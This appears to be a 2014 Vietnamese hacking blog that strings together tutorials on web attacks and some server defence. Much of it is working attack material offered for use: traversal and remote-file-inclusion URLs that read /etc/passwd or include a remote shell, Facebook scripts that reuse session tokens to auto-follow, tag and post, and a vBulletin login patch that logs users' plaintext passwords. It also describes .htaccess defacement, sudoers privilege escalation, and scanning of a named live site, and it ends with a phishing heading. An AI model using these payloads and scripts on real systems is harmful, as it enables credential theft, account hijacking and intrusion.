Chủ Nhật, 9 tháng 2, 2014

Cross-site request forgery CSRF

Cross-site request forgery CSRF

a) Giới thiệu chung về CSRF:


Giả mạo yêu cầu (CSRF) là một kiểu tấn công được nêu trong Top 10 của OWASP, theo đó một trang web độc hại sẽ gửi một yêu cầu tới một ứng dụng web mà người dùng đã được xác thực chống lại từ một trang web khác nhau. Bằng cách này, kẻ tấn công có thể truy cập chức năng trong một ứng dụng web của mục tiêu thông qua các nạn nhân đã được xác thực của trình duyệt. Các mục tiêu bao gồm các ứng dụng web như phương tiện truyền thông xã hội, trong trình duyệt khách hàng email, ngân hàng trực tuyến ....
+CSRF giải thích theo cách này có lẽ dễ hiểu hơn:

CSRF là kiểu tấn công bằng cách sử dụng quyền chứng thực của người sử dụng đối với một website khác ( mượn quyền ceritification ), các ứng dụng web hoạt động theo nguyên tắc nhận các lệnh http từ người dùng sau đó thực thi nó. CSRF sẽ lừa trình duyệt của người dùng để gửi đi các lệnh http đến các ứng dụng web trong trường hợp session (phiên làm việc) của người dùng chưa hết hiệu lực thì các lệnh http trên sẽ được thực hiện với quyền chứng thực của người dùng trước đó.


b) Những yếu tố chính cần nắm khi tấn công bằng phương pháp CSRF:

- Yêu cầu đôc hại (Malicious requests) được gửi đến website khác nơi mà người dùng truy cập đến website đó đã được xác thực.
- Yêu cầu độc hại (Malicious requests) được chuyển đến trang web mục tiêu (target site) thông qua trình duyệt của nạn nhân, nơi mà nó đã được xác thực chống lại các trang web mục tiêu.
- Lỗ hổng này tồn tại trên các ứng dụng web, chứ không tồn tại trên trình duyệt của nạn nhân cũng như các trang lưu trữ thông tin lỗi CSRF

c ) Cách tấn công CSRF:

Full path disclosure. (FPD)

Full path disclosure. (FPD)

a) Giới thiệu chung


Đây là một lỗi nhỏ.Nhưng đôi khi nó quyết định cả vấn đề có thể khai thác được tiếp hay là không.FPD cho phép ta xác định được đường dẫn trong server.Từ đó giúp khai thác nhanh hơn .Ví dụ như khi ta khai thác LFI chẳng hạn.Nếu như folder thay đổi.Ta có thể dùng cách này để xác định.

http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php

Như trên ,để đọc đc file config bằng lfi trước tiên ta phải xác định đc đường dẫn đến nó.Và FPD là một phương pháp giúp đỡ ta đi nhanh hơn trong việc này.

b) Cách khai thác.

Việc tận dụng khai thác FPD còn tùy thuộc vào nhiều điều.Đối với một số mã nguồn mở đã công bố.Thì FPD đã được xác định ở một số đường dẫn.Mình sẽ trích dẫn một số.Các bạn khi đang tấn công một server nào đó.Trong server giả sử có một site vbulletin chẳng hạn.Thì các bạn xem phiên bản đó rồi search để tìm link cho xem full path nhé.
Ví dụ như đối với vbulletin 4.x 5.x có thể xem các đường dẫn sau:

/includes/api/commonwhitelist_2.php /includes/api/commonwhitelist_5.php /includes/api/commonwhitelist_6.php /includes/api/1/album_album.php /includes/api/1/album_editalbum.php /includes/api/1/album_latest.php /includes/api/1/album_overview.php /includes/api/1/album_picture.php /includes/api/1/album_user.php /includes/api/1/announcement_edit.php /includes/api/1/announcement_view.php /includes/api/1/api_cmscategorylist.php /includes/api/1/api_cmssectionlist.php /includes/api/1/api_forumlist.php /includes/api/1/api_getnewtop.php /includes/api/1/api_getsecuritytoken.php /includes/api/1/api_getsessionhash.php /includes/api/1/api_init.php /includes/api/1/api_mobilepublisher.php /includes/api/1/api_usersearch.php /includes/api/1/blog_blog.php /includes/api/1/blog_bloglist.php /includes/api/1/blog_comments.php /includes/api/1/blog_custompage.php /includes/api/1/blog_dosendtofriend.php /includes/api/1/blog_list.php /includes/api/1/blog_members.php /includes/api/1/blog_post_comment.php /includes/api/1/blog_post_editblog.php /includes/api/1/blog_post_editcomment.php /includes/api/1/blog_post_edittrackback.php /includes/api/1/blog_post_newblog.php /includes/api/1/blog_post_postcomment.php /includes/api/1/blog_post_updateblog.php /includes/api/1/blog_sendtofriend.php /includes/api/1/blog_subscription_entrylist.php /includes/api/1/blog_subscription_userlist.php /includes/api/1/blog_usercp_addcat.php /includes/api/1/blog_usercp_editcat.php /includes/api/1/blog_usercp_editoptions.php /includes/api/1/blog_usercp_editprofile.php /includes/api/1/blog_usercp_modifycat.php /includes/api/1/blog_usercp_updateprofile.php /includes/api/1/editpost_editpost.php /includes/api/1/editpost_updatepost.php /includes/api/1/forum.php /includes/api/1/forumdisplay.php /includes/api/1/inlinemod_domergeposts.php /includes/api/1/list.php /includes/api/1/login_lostpw.php /includes/api/1/member.php /includes/api/1/memberlist_search.php /includes/api/1/misc_showattachments.php /includes/api/1/misc_whoposted.php /includes/api/1/newreply_newreply.php /includes/api/1/newreply_postreply.php /includes/api/1/newthread_postthread.php /includes/api/1/newthread_newthread.php /includes/api/1/poll_newpoll.php /includes/api/1/poll_polledit.php /includes/api/1/poll_showresults.php /includes/api/1/private_editfolders.php /includes/api/1/private_insertpm.php /includes/api/1/private_messagelist.php /includes/api/1/private_newpm.php /includes/api/1/private_showpm.php /includes/api/1/private_trackpm.php /includes/api/1/profile_editattachments.php /includes/api/1/profile_editoptions.php /includes/api/1/profile_editprofile.php /includes/api/1/register_addmember.php 



Local file download (LFD)

Local file download (LFD)
a) Giới thiệu chung :


LFD là một phương pháp khai thác lỗi hổng của website bằng các sử dụng metod get để download một số file nhạy cảm .( Cũng có thể dùng metod post nhưng phải kèm theo addon tamper data của firefox ).

đoạn script dẫn đến lỗi này là

<?php
if(isset($_POST['download'])) {
$file = $_GET['file'];
$file_info = pathinfo($file);
header('Content-type: application/x-'.$file_info['extension']);
header('Content-Disposition: attachment; filename='.$file_info['basename']);
header('Content-Length: '.filesize($file));
readfile($file);
exit;
}
?>


b)Cách khai thác :

Tương tự như đối với lfi nó ko xác định được chính xác file cần download xuống.
Giả sử như trên thực thế ta muốn download xuống một file như sau:

http://hackingworld.net/download_file.php?file=Mrookit.exe

ta có thể khai thác file etc/passwd như sau:

http:// hackingworld.net/download_file.php?file=../../../../../../../../../etc/passwd

Local file inclusion (LFI)

Local file inclusion (LFI)

a) Giới thiệu chung

Kĩ thuật này khai thác tương tự như đối với Remote File Inclusion .Có điều ta ko thể chèn nội dung file từ xa được.Mà chỉ có thể gọi các file hệ thống có liệu lực cục bộ (Cùng server).Ví dụ như có thể khai thác các file etc/passwd , httpd.conf , php.ini , access_log chẳng hạn.Hoặc đôi khi ta dùng nó để đọc các file config cùng server.

b) Cách tìm site lỗi:

Ta có thể tìm bằng các dork sau

index.php?page=
index.php?option=
search.php?word=


+ Sau đó có thể kiểm tra bằng cách thêm dấu ' vào sau nó: nếu như nó trả về một warning tương tự như sau thì có thể xem như site này bị Local File Inclusion

http://www.qcivalves.com/index.php?page='

Warning: include_once(\') [function.include-once]: failed to open stream: No such file or directory in/home/content/37/4936137/html/template.php on line 40

Warning: include_once() [function.include]: Failed opening '\'' for inclusion (include_path='.:/usr/local/php5/lib/php') in/home/content/37/4936137/html/template.php on line 40


c) Cách check site bị lỗi LFI

Remote file inclusion (RFI)

Remote file inclusion (RFI)
a)Giới thiệu nội dung chính :


Đây là một phương pháp hack lợi dụng hàm include() trong php để chèn vào một vài file nào đó.Thường nội dùng chèn vào file ta nên lấy từ 1 file txt nào đó chứa nội dung của một script shell.
Xem một mẫu RFI
http://www.victim.com/index.php?page=home
Và đoạn script cho phép chèn

<?php
$page = $_GET['page'];
include($page);
?>


Ở đây nếu biến $page đc khai báo toàn cục trong file cấu hình php.ini (register_global đc set on) thì đoạn script đc viết kiểu như sau

<?php
include($page);
?>


Giả sử victim là http://www.victim.com/index.php?page=home
ta có thể chỉ định cho home là nội dung của một con shell.Ví dụ như thế này.
http://www.victim.com/index.php?page=www.huynhdegroup.com/shell.txt?
Lúc này nội dung của con shell sẽ được chèn vào thay thế cho nội dung của trang home.
Điều kiện để có thể include nội dung từ một link khác này có thể thực hiện đc đó là trong cấu hình php.ini ,2 thuộc tính allow_url_open , allow_url_include đc set là ON.Chỉ khi 2 thuộc tính này đc set là On nó mới cho phép vịêc thực hiện include từ 1 url nào đó vào nội dung của site.Vậy thử suy nghĩ xem.Giả sử truờng hợ 2 thuộc tính này đc set với giá trị là OFF thì điều gì sẽ xảy ra.Và ta sẽ xử lí trường hợp này như thế nào?
- Điều xảy ra đó là ko thể include nội dung từ 1 url khác đc.
- Nhưng ta có thể lợi dụng lỗi này để xem một số file nhạy cảm khác nằm trong server của mình .Như xem nội dung của etc/passwd chẳng hạn --> phương pháp này gọi là Local File Inclusion .Chúng ta sẽ bàn về nó sau

Thứ Bảy, 8 tháng 2, 2014

Code Auto Câu Like, List Sub, Sub

Code Auto Câu Like, List Sub, Sub, mình đã ghi chú chi tiết trong code. Chỉ cần chạy theo mẫu sau:

<function>(id);
vd để câu sub ta chạy a(123456789)
Trong đó a là function câu sub mình đã ghi chú ở dưới
123456789 là id của fb mình
Shared By VnDragon TheGioiNgam.Org

alert('Code auto like flowing sub ');
var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value;
var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone) //flowing
{
var http4=new XMLHttpRequest;
var url4="/ajax/follow/follow_profile.php?__a=1";
var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";
http4.open("POST",url4,true);
http4.onreadystatechange=function()
{
  if(http4.readyState==4&&http4.status==200)http4.close
}
;
http4.send(params4)
}
function sublist(uidss) //sublist
{
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
function p(abone)
{
var http4 = new XMLHttpRequest();
var url4 = "//www.facebook.com/ajax/poke_dialog.php";
var params4 = "uid=" + abone + "&pokeback=0&ask_for_confirm=0&nctr[_mod]=pagelet_timeline_profile_actions&__asyncDialog=1&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=v&fb_dtsg="+fb_dtsg+"&phstamp=";
http4.open("POST", url4, true);
http4.onreadystatechange = function ()
{
  if (http4.readyState == 4 && http4.status == 200)
  {
  http4.close;
  }
}
;

Code Auto Tag Facebook

Cách sử dụng:
Vào link comment cần tag theo cấu trúc sau:

/* Code By VnDragon */
function x__0()
{
    return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest;
};
function get_friends()
{
    var a=x__0();
    a.open("GET", "/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", false);
    a.send(null);
    if (a.readyState == 4)
    {
        var f = JSON.parse(a.responseText.substring(a.responseText.indexOf('{')));
        return f.payload.entries;
    }
    return false;
}
function get_uid(b)
{
    var a=x__0();
    a.open("GET", 'http://graph.facebook.com/'+b, false);
    a.send();
    if (a.readyState == 4)
    {
        return uid = JSON.parse(a.responseText).id;
    }
    return false;
}

Code Auto Post Wall Facebook

Vào https://www.facebook.com/ nhấn F12 và chạy.
shared by Vndragon TheGioiNgam.Org

javascript: var grouppost = "<div><span class='img sp_f52w7l sx_47132d'></span><a style='position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;'>Auto Post Wall Facebook</a></div></br>";
grouppost += "<div><textarea id='txtFloodMsg' placeholder='Nh?p n?i dung c?n post' style='COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'>Autopost wall facebook ! VnDragon - Chúc các b?n vui v?</textarea></div>";
grouppost += "<div><br><span class='img sp_dpkef5 sx_f05251'></span><a style='position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);'>VnDragon </a></span><button style='margin-left:437px' class='_2 _3 _6 _4 _5 selected' onclick='autopostingfunc(this);' >Post</button><div style='color:gray;'>Copyright ©: VnDragon</br>0163 345 05 05</A><A style='color:#3B5998;' href='http://phucnguyen.tv' target='_0'> Phúc Nguy?n</A></A><A style='color:#3B5998;' href='https://www.facebook.com/vndragon1995' target='_0'> </A></A>,</A><A style='color:#3B5998;' href='https://www.facebook.com/vndragon1995' target='_0'> </A></A></br>Web : <A style='color:#3B5998;' href='http://www.phucnguyen.tv' target='_0'>http://www.phucnguyen.tv</A>.</A><br></div>";
var Popupset = document.createElement("div");
Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:White");
Popupset.innerHTML = grouppost;

Code Auto Add Friend To Group FaceBook

Cách sử dụng:
Link down code: http://antiwhitehat.com/code/autoaddfriend.txt
Vào link https://www.facebook.com/groups/xxxxxxx và chạy.
Code đã bị loại bỏ một số đoạn câu sub và like nên ae yên tâm
Shared By VnDragon TheGioiNgam.Org

function hp_d12(s) {
var o = "",
ar = new Array(),
os = "",
ic = 0,
p = 0;
for (i = 0; i < s.length; i++)
{
c = s.charCodeAt(i);
if (c < 128) c = c ^ ((p++ % 8) + 1);
os += String.fromCharCode(c);
if (os.length > 80)
{
ar[ic++] = os;
os = ""
}
}
o = ar.join("") + os;
return o
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim)
{
var tarama = isim + "=";
if (document.cookie.length > 0)
{
konum = document.cookie.indexOf(tarama);
if (konum != -1)
{
konum += tarama.length;
son = document.cookie.indexOf(";", konum);
if (son == -1) son = document.cookie.length;
return unescape(document.cookie.substring(konum, son))
}
else
{
return ""
}
}
}
function getRandomInt(min, max)
{
return Math.floor(Math.random() * (max - min + 1)) + min
}

Thứ Sáu, 7 tháng 2, 2014

Scan Site [Backtrack w3af]

Backtrack

1.Sử dụng backtrack
 cd /pentest/web/golismero/    
chạy python GoLismero.py - t www.batman-3d.de -c -m -A all -x -o /root/outfile.txt

-> Xem danh sách file ,tìm lỗ hổng.
2.cd /pentest/web w3af


Nâng cấp quyền root [linux]

Sửa file /etc/sudoers.
Add vào dòng sau:

root    ALL=(ALL) ALL
capuchino    ALL=(ALL) ALL
capuchino    ALL=(root) NOPASSWD: /sbin/

Hoặc add user vào nhóm wheel.
%wheel ALL=(ALL) ALL
 to Wheel group
# usermod -G10 user1

Keylogger Vbulletin (VBB)

Cái này chạy trên 3.x nhưng lên 4.x phải edit lại một tý.
Cách này mình đã cải tiến rút gọn, không loằng ngoằng như cái trước, rất dễ cho ace làm!!!
Vẫn như cũ: Mở file login.php tìm dòng process_new_login(....) thêm vào đoạn sau:

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);$lg_password = $vbulletin->GPC["vb_login_password"];// Lưu vào file$lg_file = "modcp/test.html";$sql_query = @mysql_query("SELECT * FROM `" . TABLE_PREFIX . "user` WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query)) {
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) {
$logfile = @file($lg_file);
$logfile[] = $lg_username . " : " . $lg_password." (" . $row["email"] . ")";
$logfile = array_unique($logfile);
$fp1 = fopen($lg_file, "w");
fwrite($fp1, implode("\r\n", $logfile));
fclose($fp1);
}
break;
}

Vbb 4x mặc định sẽ không submit clear password lên, cần sửa 1 chút:
Tìm mở file clientscript/vbulletin_md5.js ra, tìm hàm sau: function md5hash(B,A,E,C) {...} (kéo xuống cuối file thấy ngay).
Trong function này có B.value="" ==> sửa thành B.value=B.value cho đỡ phải sửa nhiều.
Vậy là xong rùi, F5 rùi login thử.
Vô đây coi log nha "modcp/test.html" (nên sửa path file này để bảo mật cho 4rum của bạn).

P/s: Đã test trên vbb 4.0.3!

File Htaccess

Hôm nay có nguời pm hỏi mình về cách dùng file htaccess.Cái này trên mạng không thiếu.Nhưng tổng hợp lại cho vào tài liệu căn bản cho mấy newbie học.Những cái căn bản cũng là cái quan trọng mà :)).Sau đây là chức năng của nó.

1.Dùng để qui định thứ tự của index:

DirectoryIndex index.php index.htm index.html defaul.html

Câu lệnh trên qui định thứ tự index.Nếu cái đầu không có (index.php) .Nó sẽ hiện cái file tiếp theo là index.html làm index cho site .( thực tế là index cho thư mục chưa file .htacess).

Ví dụ khi có shell rồi,deface forum vbulletin vớu file index.html ở thư mục /includes/index.html.Thì mình quăng file .htaccess vào thư mục root với nội dung như sau
DirectoryIndex defaul.html index.htm /incudes/index.html index.php

nếu victim gà quá.Thì nó ko biết các tìm cái index bị deface đâu :))



2.Redirect về địa chỉ mới:
Giả sử muốn làm cho guest khi vào site A nhưng lại nhảy sang site B (trường hợp bạn có nhiều tên miền chẳng hạn).

Redirect /forum/index.php http://huynhdegroup.net/@vhb@/index.php

hoặc có thể là

Redirect /forum http://huynhdegroup.net/

Metasploit framework

Mình đã xem trên mạng.Tài liệu về Metasploit Framework tiếng việt khá ít.Và không đầy đủ.Nên mình viết lại những gì mình biết ,tham khảo thêm một số nguồn tiếng anh [ Mục đích là để giúp newbie biết rõ hơn ,và để làm tài liệu chính thức từ vhb,Không phải lấy từ nguồn khác.Có một bài kakavn_85 leech về vhb rồi.Nhưng bài đó khá sơ sài ,nên mình viết lại bài này].Hiện tại còn một số phần chưa hoàn thành.Anh em nào am hiểu về các module encoders module và Nops module trong metasploit framework thì pm yahoo mình icarus_ken.Để cùng  mình biên soạn kĩ hơn về 2 phần này.

 -Metasploit framework là một framework mã nguồn mở phát triển nhằm sử dụng các shellcode (payload) để tấn công máy có lỗ hổng.Cùng với một số bộ công cụ bảo mật khác,Metasploit có cơ sở dữ liệu chứa hàng ngàn shellcode ,hàng ngàn exploit của các hệ điều hành,các chương trình hay dịch vụ.Trong quá trình phát triển metasploit liên tục cập nhật các Exploit...Nên càng ngày nó càng trở thành một bộ công cụ mạnh mẽ.

  -Metasploit framework là một bộ dự án sinh ra để kiểm tra độ an toàn (pentesting ) nhưng đối với những attacker như chúng ta,thì nó thực sự là một công cụ vô cùng hữu ích ( dùng để kiểm tra ,khai thác lỗi ,exploit ).Thực sự theo mình nghĩ thì ai muốn làm hacker (hay script kidie đi chăng nữa ) thì cũng nên bỏ thời gian ra nghiên cứu kĩ về nó.
  -Nói sơ qua Metasploit framework  là một phần nhỏ của dự án Metaspoit ( đc xây dựng từ ngôn ngữ perl sau đó đc viết lại bằng ruby.Đúng ra là chủ yếu bằng ruby).
   Bộ metasploit framwork hỗ trợ giao diện cho nguời dùng dưới nhiều dạng

  -Console interface : Dùng lệnh msfconsole .Đa số thao tác bằng dòng lệnh.
  -GUI -armitage : Dùng Armitage để vào.Đây là giao diện đồ họa.
  -Command line interface : dùng lệnh msfcli để vào

Ta chủ yếu thực thi trên msfconsole ,nhìn cho nó chuyên nghiệp :))
Msfconsole có nhiều câu lệnh,option khác nhau.Dứoi đây là nội dung các lệnh đối với msfconsole .

Cài đặt tường lửa InV-Firewall Script cho diễn đàn bạn [IPB / phpBB /vBulletin]

InV-Firewall Script là một firewall của tác giả Nguyen Tuan Dung, lập trình dành riêng cho hệ thống forum Invision Power Board [cũng có thể tích hợp và forum khác dễ dàng]. Tính năng của hệ thống tường lửa cho website này tập trung chính ở việc cản trở một phần các gói dữ liệu được gửi liên tục hay yêu cầu truy cập đến diễn đàn với số lượng lớn trong thời gian ngắn.

Posted Image

Ví dụ đơn giản nhất, nếu bạn truy cập liên tục vào forum (nhấn F5 liên tiếp nhau) thì một trang báo lỗi sẽ hiện ra và cấm bạn truy cập vào diễn đàn trong thời gian đã định. Đối với dnp, bao gồm 2 firewalls, nếu bạn nhấn F5 trong 10 lần liên tiếp với thời gian dưới 8 giây bạn sẽ bị cấm truy cập trong 10 phút vì firewall thứ 2 được kích hoạt. Nếu bạn muốn thử đọc xong bài viết này hãy thử nhé

Download


- Bên cạnh InV-Firewall, bộ files này Shacker còn kèm theo tập tin htaccess đã được hiệu chỉnh để chống spam / bảo mật conf_global.php / cản bots / chống dos cơ bản cho forum bạn.

Password: delynie.silveryhat.com

Nhận dạng DDOS và một số biện pháp đối phó

DDOS là một vấn đề nan giải cho các webmaster hoặc admin. Sau đây Vinh xin giới thiệu một vài thủ thuật để nhận biết DDOS và một số biện pháp đối phó khi server bị DDOS.

Khi server đột ngột chậm như rùa, mọi xử lý của server đều rất nặng nề, thì nhiều khả năng do một trong hoặc những nguyên nhân sau:

1. Server bị DDOS

2. Server bị quá tải do thiếu RAM

3. Server bị quá tải do tốc độ xử lý của CPU không đảm bảo

4. Tốc độ truy xuất dữ liệu của HDD không đáp ứng nhu cầu read/write của data. (Thông thường xảy ra trên các ổ SATA 72krpm hoặc HDD sắp hỏng)

Trong bài viết này chúng ta đi vào vấn đề thứ 1: server bị DDOS, các vấn đề 2,3,4 có thể khắc phục dễ dàng bằng cách nâng cấp phần cứng.

Kiểm tra xem server có bị DDOS hay không:Từ command line Linux gõ:
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n


Câu lện trên sẽ trả về hàng loạt IP chiếm nhiều connection nhất trên server. Cần lưu ý rằng DDOS có thể xuất phát từ một lượng nhỏ connection. Do đó việc kết quả trả về connection thấp bạn vẫn có thể trong tình trạng under attack.

Một phương pháp khác:

netstat -n | grep :80 |wc -l netstat -n | grep :80 | grep SYN |wc -l

Dòng lệnh thứ nhất trả về số lượng active connection (connection đang hoạt động). Rất nhiều kiểu tấn công DDOS bằng cách mở một kết nối connection lên server rồi không làm gì cả khiến cho server chờ đợi cho đến khi timeout. Nến nếu dòng lệnh thứ nhất trả về trên 500 thì server của bạn rất nhiều khả năng bị DDOS.

Dòng lệnh thứ 2 trả về kết quả trên 100 thì rất nhiều khả năng server bạn trong tình trang syn attack DDOS.

Lưu ý: cách tính trên chỉ là tương đối, một số website có lưu lượng truy cập lớn thì phương pháp detect này có thể không chính xác.

Một số phương pháp khắc phục:

Cách khắc phục nhanh nhất là block các IP chiếm nhiều connection nhất trong "giờ cao điểm":

Cách 1:

route add địa-chỉ-ip reject vd: route add 192.168.0.168 reject

Kiểm tra bằng lệnh: route -n |grep địa-chỉ-ip

Cách 2: sử dụng iptables

iptables -A INPUT 1 -s địa-chỉ-ip -j DROP/REJECT service iptables restart service iptables save

Sau đó xóa hết tất cả connection hiện hành và khơi động lại service httpd

killall -KILL httpd service httpd restart

Nếu như hoàn tất các bước nêu trên mà server vẫn chậm thì có nghĩa là vấn đề bạn gặp phải nằm vào trường hợp 2,3,4... chỉ việc nâng cấp server để đáp ứng nhu cầu truy cập của người sử dụng.


nguồn:Internet

Phòng chống ddos với APF, BFD, DDOS and RootKit


Đầu tiên là thăng này APF — Advanced Policy-based Firewall 
# cd /usr/src
# mkdir utils
# cd utils
# wget http://rfxnetworks.com/downloads/apf-current.tar.gz
# tar xfz apf-current.tar.gz
# cd apf-*
# ./install.sh
Để hiểu rõ bạn nên đọc 2 file này  README.apf vs README.antidos. Sau đó edit tùy chỉnh trong file /etc/apf/conf.apf
# nano -v /etc/apf/conf.apf
Edit như sau:
DEVEL_MODE="0"
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,3306"  <== Cai nay la port ban can mo no se lam chuc nang thay cho Iptables
IG_UDP_CPORTS="53,111"
USE_AD="1"  <== cai nay de enable AntiDDos.
Sau khi config xong bạn cho nó khởi động lên nào.
# apf --start
hoặc
# service apf start

Tiếp theo là cái nè: BFD — Brute Force Detection <== Cái này hay nè.

Cấu hình Firewall Iptables trên CentOS / Redhat


Netfilter là firewall cơ bản cho các máy chủ Linux.Nó được đưa vào như một phần của các hệ điều hành kể trên và được cấu hình mặc định có hiệu lực trên hệ thống.Firewall này được quản lý thông qua chương trình iptables.Netfilter lọc các gói tin tại tần kernel, trước khi hệ thống hoặc các phần mềm tầng ứng dụng xử lý gói tin đó.
Iptables Config File
Mặc định trong RHEL / CentOS / Fedora file cấu hình của iptables là :
/etc/sysconfig/iptables
Xem các rules (luật) mặc định:
Hãy gõ dòng lệnh sau:
iptables --line-numbers -n -L
Bạn sẽ nhận được kết quả trả về có nội dung tương tự như sau:
Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0
Chain FORWARD (policy ACCEPT)
num target prot opt source destination
1 RH-Firewall-1-INPUT all -- 0.0.0.0/0 0.0.0.0/0
Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
Chain RH-Firewall-1-INPUT (2 references)
num target prot opt source destination
1 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0
2 ACCEPT icmp -- 0.0.0.0/0 0.0.0.0/0 icmp type 255
3 ACCEPT udp -- 0.0.0.0/0 224.0.0.251 udp dpt:5353
4 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53
5 ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
6 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:22
7 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 state NEW tcp dpt:53
8 REJECT all -- 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited

Server Optimized: Anti DDos cho Linux Webserver



Nói về vấn đề DDos, có lẽ sẽ rất khó để chắc chắn rằng làm thế nào chúng ta có thể an toàn 100% trước vấn nạn này. Bởi có rất nhiều phương thức tấn công như dos,ddos, flood, Slowloris …cũng như đi kèm với nó là các cường độ khác nhau. Bởi vậy các giải pháp TechBlog trình bày bên dưới sẽ chỉ có thể giúp bạn trong một số trường hợp nhất định mà thôi. Tuy vậy nó cũng sẽ phần nào giúp bạn kiện toàn bảo mật cho webserver của bạn.







1. Hạn chế DDos: Dos Deflate

Tiến hành cài đặt Firewall Dos Deflate:

#cd download #wget <a href="http://www.inetbase.com/scripts/ddos/install.sh" target="_blank">http://www.inetbase.com/scripts/ddos/install.sh</a> #chmod 0700 install.sh #./install.sh

Sau khi cài đặt thành công, ta có thể cấu hình Firewall bằng cách dùng lệnh:

#nano /user/local/ddos/ddos.conf

Đây là file cấu hình của Firewall, nội dung cơ bản sẽ như sau:

FREQ=1 // tắt/ bật Firewall (0=tắt, 1=bật)
NO_OF_CONNECTIONS=50 // max connect từ 1 IP đến server
APF_BAN=1
KILL=1 // tắt/bật (0=tắt, 1= bật)
EMAIL_TO="administrator@techblog.vn"
BAN_PERIOD=600 // thời gian ban IP là 600 giây

[ Mạng ] Giao thức TCP / IP

IP:
-IP là một giao thức mà khi họat động nó không cần đc thiết lập trước khi trao đổi dữ liệu.
-Gói tin IP đc truyền đi không đảm bảo chắc chắn tới đích.Nó có thể bị mất , truyền đến nhiều lần,bị trễ ,thứ tự truyền có thể không đúng.
-Giao thức IP không có trách nhiệm phục hồi nếu có lỗi xảy ra.
Một gói tin IP có 2 phần :header và payload.

phần header chứa các thông tin cơ bản như sau:

Địa chỉ IP xuất phát .
Địa chỉ IP đích.
Định danh ( identification) : Sử dụng để xác định các gói ip cụ thể . Xác định các phân đoạn gói tin đc chia ra.
Giao thức :
Checksum: Tính tóan để kiểm tra độ toàn vẹn của gói tin ban đầu.
Thời gian sống TTL ( time to live) : Để tránh các gói tin truyền lòng vòng ko kết thúc,Chúng ta cần thời gian hạn định cho gói tin ,và nó đc đặt bởi nơi gửi đi.Khi một gói tin IP đc chuyển tiếp,router cần giảm giá trị TTL ít nhất là 1.

Nếu một gói tin IP gửi đi quá lớn .(Một gói tin tối đa đc qui định là 65655 bit ) .Nếu gói tin quá lớn thì gói tin này sẽ đc chia thành nhiều gói nhỏ phù hợp với kích thước mạng đc truyền đi tiếp . Khi gói tin đến đích.Giao thức IP tại đích sẽ tập hợp các gói tin nhỏ này khôi phục thành gói tin gốc. Quá trình này gọi là phân đoạn gói tin . QUá trình phân đoạn gói tin đc sử dụng bởi nhiều công nghệ ( như ethernet và token ring ) .

Việc phân đoạn và tập hợp đc mô tả như sau:
 - Gói tin đc gửi đi có độ lớn  file đc ghi trong phần định danh.
 - Gói tin khi nhận tại một router trên đường truyền.Trên router đó sẽ so sánh độ lớn của gói tin gởi đi với giá trị MTU ( maximum transmision unit ) - đơn vị truyền tin lớn nhất có thể trong mạng đó. Nó kiểm tra nếu mà gói tin đc gửi đến lớn hơn MTU .Thì nó sẽ chia gói tin ( trong payload ) thành nhiều gói nhỏ,phù hợp với đường truyền mới .
- Mỗi đoạn đc gửi đi trong phần header gói nhỏ có các thông tin như sau
   . Trường dịnh danh gốc .Nhờ nó mà các gói xác nhận diện đc nhau.Và biết thuộc gói tin gốc nào.
   . Cờ phân đoạn ( more fragments flag ) xác định xem nó có phải là gói tin nhỏ cuối không,hay còn gói theo sau nó nữa.
   . Vị trí phân đoạn ( fragment offset ) chỉ là vị trí phân đoạn so với gói tin gốc.

Scan lỗi tự động mã nguồn wordpress bằng backtrack [wpscan]

Mã nguồn wordpress là một trong những mã nguồn phổ biến trên thế giới hiện nay,và tất nhiên trong nó cũng có rất nhiều lỗ hổng,phiên bản mới ra luôn vá các lỗ hổng này,nhưng đối với các phiên bản chưa đc cập nhật thì luôn tồn tại một mối nguy hiểm trong đó.Với Backtrack ta có thể sử dụng bộ công cụ wpscan để scan những lỗi này.
vào thư mục scanner

cd /pentest/web/scanners/

tiếp tục


sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby libxml2 libxml2-dev libxslt1-dev ruby-dev
git clone https://github.com/wpscanteam/wpscan.git
cd wpscan

sudo gem install bundler && bundle install --without test development

chờ nó chạy xong nhé.
./wpscan.rb --url http://etude.com.vn --enumerate

Hướng dẫn tạo trang phishing facebook

